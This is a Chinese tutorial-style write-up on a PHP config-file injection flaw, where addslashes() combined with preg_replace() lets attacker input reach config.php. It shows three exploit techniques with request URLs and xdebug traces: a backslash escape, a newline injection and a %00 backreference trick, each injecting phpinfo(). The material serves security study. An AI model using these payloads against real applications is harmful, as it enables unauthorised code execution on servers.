php正则的经典漏洞

p师傅前几天的小密圈的一个问题,这是一个经典的配置文件写入问题漏洞:

1
2
3
4
5
6
<?php
if(!isset($_GET['option'])) die();
$str = addslashes($_GET['option']);
$file = file_get_contents('./config.php');
$file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);
file_put_contents('./config.php', $file);

config.php的内容:

1
2
<?php
$option='test';

要求是getshell,这个场景十分的经典,经常用在修改配置文件写入的时候。

首先说说这几个函数:
1、addslashes()
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。

预定义字符是:
单引号(')
双引号(")
反斜杠(\)
NULL

注释:默认地,PHP 对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。所以您不应对已转义过的字符串使用 addslashes(),因为这样会导致双层转义。遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测。

2、file_get_contents()
file_get_contents() 把整个文件读入一个字符串中。
file_get_contents(path,include_path,context,start,max_length)

3、preg_replace()
preg_replace(),执行一个正则表达式的搜索和替换

4、file_put_contents
file_put_contents() 函数把一个字符串写入文件中。
file_put_contents(file,data,mode,context)

0x01 利用反斜线

输入:\’;phpinfo();//

1
http://127.0.0.1/index.php?option=\';phpinfo();//

则config.php文件修改为:

1
2
<?php
$option='\\';phpinfo();//';

\’经过addslashes()之后变为\\’,随后preg_replace会将两个连续的\合并为一个,也就是将\\’转为\‘,这样我们就成功引入了一个单引号,闭合上文注释下文,中间加入要执行的代码即可。
看来是preg_replace函数特性。经测试,该函数会针对反斜线进行转义,即成对出现的两个反斜线合并为一个。
这是xdebug分析的跳转:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
0.0006 333912 -> {main}() D:\phpstudy\www\index.php:0
0.0008 333944 -> addslashes('\\\';phpinfo();//') D:\phpstudy\www\index.php:3
>=> '\\\\\\\';phpinfo();//'
=> $str = '\\\\\\\';phpinfo();//' D:\phpstudy\www\index.php:3
0.0010 334120 -> file_get_contents('./config.php') D:\phpstudy\www\index.php:4
>=> '<?php\n$option=\'\\\\\';phpinfo();//\';\n\n'
=> $file = '<?php\n$option=\'\\\\\';phpinfo();//\';\n\n' D:\phpstudy\www\index.php:4
0.0015 334544 -> preg_replace('|\\$option=\'.*\';|', '$option=\'\\\\\\\';phpinfo();//\';', '<?php\n$option=\'\\\\\';phpinfo();//\';\n\n') D:\phpstudy\www\index.php:5
>=> '<?php\n$option=\'\\\\\';phpinfo();//\';\n\n'
=> $file = '<?php\n$option=\'\\\\\';phpinfo();//\';\n\n' D:\phpstudy\www\index.php:5
0.0016 334496 -> file_put_contents('./config.php', '<?php\n$option=\'\\\\\';phpinfo();//\';\n\n') D:\phpstudy\www\index.php:6
>=> 35
>=> 1
0.0055 zu

0x02 利用正则匹配缺陷和换行符%0a

分两次进行请求:
1、第一次传入aaa’;phpinfo();%0a//,即:

1
http://127.0.0.1/index.php?option=aaa';phpinfo();%0a//

此时config.php文件变为:

1
2
3
<?php
$option='aaa\';phpinfo();
//';

调试过程如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
0.0005 333944 -> {main}() D:\phpstudy\www\index.php:0
0.0007 333976 -> addslashes('aaa\';phpinfo();\n//') D:\phpstudy\www\index.php:3
>=> 'aaa\\\';phpinfo();\n//'
=> $str = 'aaa\\\';phpinfo();\n//' D:\phpstudy\www\index.php:3
0.0009 334144 -> file_get_contents('./config.php') D:\phpstudy\www\index.php:4
>=> '<?php\n$option=\'\';\n\n'
=> $file = '<?php\n$option=\'\';\n\n' D:\phpstudy\www\index.php:4
0.0012 334552 -> preg_replace('|\\$option=\'.*\';|', '$option=\'aaa\\\';phpinfo();\n//\';', '<?php\n$option=\'\';\n\n') D:\phpstudy\www\index.php:5
>=> '<?php\n$option=\'aaa\\\';phpinfo();\n//\';\n\n'
=> $file = '<?php\n$option=\'aaa\\\';phpinfo();\n//\';\n\n' D:\phpstudy\www\index.php:5
0.0014 334488 -> file_put_contents('./config.php', '<?php\n$option=\'aaa\\\';phpinfo();\n//\';\n\n') D:\phpstudy\www\index.php:6
>=> 38
>=> 1
0.0051 zu

2、第二次传入随意的字符
例如bbb正则代码.*会将匹配到的aaa\替换为bbb

1
http://127.0.0.1/index.php?option=bbb

调试过程如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
0.0006 333832 -> {main}() D:\phpstudy\www\index.php:0
0.0008 333864 -> addslashes('bbb') D:\phpstudy\www\index.php:3
>=> 'bbb'
=> $str = 'bbb' D:\phpstudy\www\index.php:3
0.0011 334016 -> file_get_contents('./config.php') D:\phpstudy\www\index.php:4
>=> '<?php\n$option=\'bbb\';phpinfo();\n//\';\n\n'
=> $file = '<?php\n$option=\'bbb\';phpinfo();\n//\';\n\n' D:\phpstudy\www\index.php:4
0.0022 334424 -> preg_replace('|\\$option=\'.*\';|', '$option=\'bbb\';', '<?php\n$option=\'bbb\';phpinfo();\n//\';\n\n') D:\phpstudy\www\index.php:5
>=> '<?php\n$option=\'bbb\';phpinfo();\n//\';\n\n'
=> $file = '<?php\n$option=\'bbb\';phpinfo();\n//\';\n\n' D:\phpstudy\www\index.php:5
0.0024 334400 -> file_put_contents('./config.php', '<?php\n$option=\'bbb\';phpinfo();\n//\';\n\n') D:\phpstudy\www\index.php:6
>=> 37
>=> 1
0.0067 zu

此时config.php内容变为

1
2
3
<?php
$option='bbb';phpinfo();
//';

0x03 利用%00

仍然分为两步:
1、第一次传入;phpinfo();,即:

1
http://127.0.0.1/index.php?option=;phpinfo();

调试如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
0.0005 333880 -> {main}() D:\phpstudy\www\index.php:0
0.0007 333912 -> addslashes(';phpinfo();') D:\phpstudy\www\index.php:3
>=> ';phpinfo();'
=> $str = ';phpinfo();' D:\phpstudy\www\index.php:3
0.0009 334080 -> file_get_contents('./config.php') D:\phpstudy\www\index.php:4
>=> '<?php\n$option=\';phpinfo();\';\n\n'
=> $file = '<?php\n$option=\';phpinfo();\';\n\n' D:\phpstudy\www\index.php:4
0.0012 334488 -> preg_replace('|\\$option=\'.*\';|', '$option=\';phpinfo();\';', '<?php\n$option=\';phpinfo();\';\n\n') D:\phpstudy\www\index.php:5
>=> '<?php\n$option=\';phpinfo();\';\n\n'
=> $file = '<?php\n$option=\';phpinfo();\';\n\n' D:\phpstudy\www\index.php:5
0.0014 334448 -> file_put_contents('./config.php', '<?php\n$option=\';phpinfo();\';\n\n') D:\phpstudy\www\index.php:6
>=> 30
>=> 1
0.0057 zu

config.php的内容变化:

1
2
<?php
$option=';phpinfo();';

2、第二次传入%00

1
http://127.0.0.1/index.php?option=%00

%00被addslashes()转为\0,而\0在preg_replace函数中会被替换为“匹配到的全部内容”
此时preg_replace要执行的代码如下

1
preg_replace('|\$option=\'.*\';|',"\$option='\\0';",$file);


1
preg_replace('|\$option=\'.*\';|',"\$option='$0';",$file);

即执行:

1
preg_replace('|\$option=\'.*\';|',"\$option='$option=';phpinfo();';';",$file);

调试过程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
0.0004 333832 -> {main}() D:\phpstudy\www\index.php:0
0.0006 333864 -> addslashes('\000') D:\phpstudy\www\index.php:3
>=> '\\0'
=> $str = '\\0' D:\phpstudy\www\index.php:3
0.0007 334016 -> file_get_contents('./config.php') D:\phpstudy\www\index.php:4
>=> '<?php\n$option=\'$option=\';phpinfo();\';\';\n\n'
=> $file = '<?php\n$option=\'$option=\';phpinfo();\';\';\n\n' D:\phpstudy\www\index.php:4
0.0011 334432 -> preg_replace('|\\$option=\'.*\';|', '$option=\'\\0\';', '<?php\n$option=\'$option=\';phpinfo();\';\';\n\n') D:\phpstudy\www\index.php:5
>=> '<?php\n$option=\'$option=\'$option=\';phpinfo();\';\';\';\n\n'
=> $file = '<?php\n$option=\'$option=\'$option=\';phpinfo();\';\';\';\n\n' D:\phpstudy\www\index.php:5
0.0013 334408 -> file_put_contents('./config.php', '<?php\n$option=\'$option=\'$option=\';phpinfo();\';\';\';\n\n') D:\phpstudy\www\index.php:6
>=> 52
>=> 1
0.0071 zu

config.php的变化:

1
2
<?php
$option='\$option=';phpinfo();';';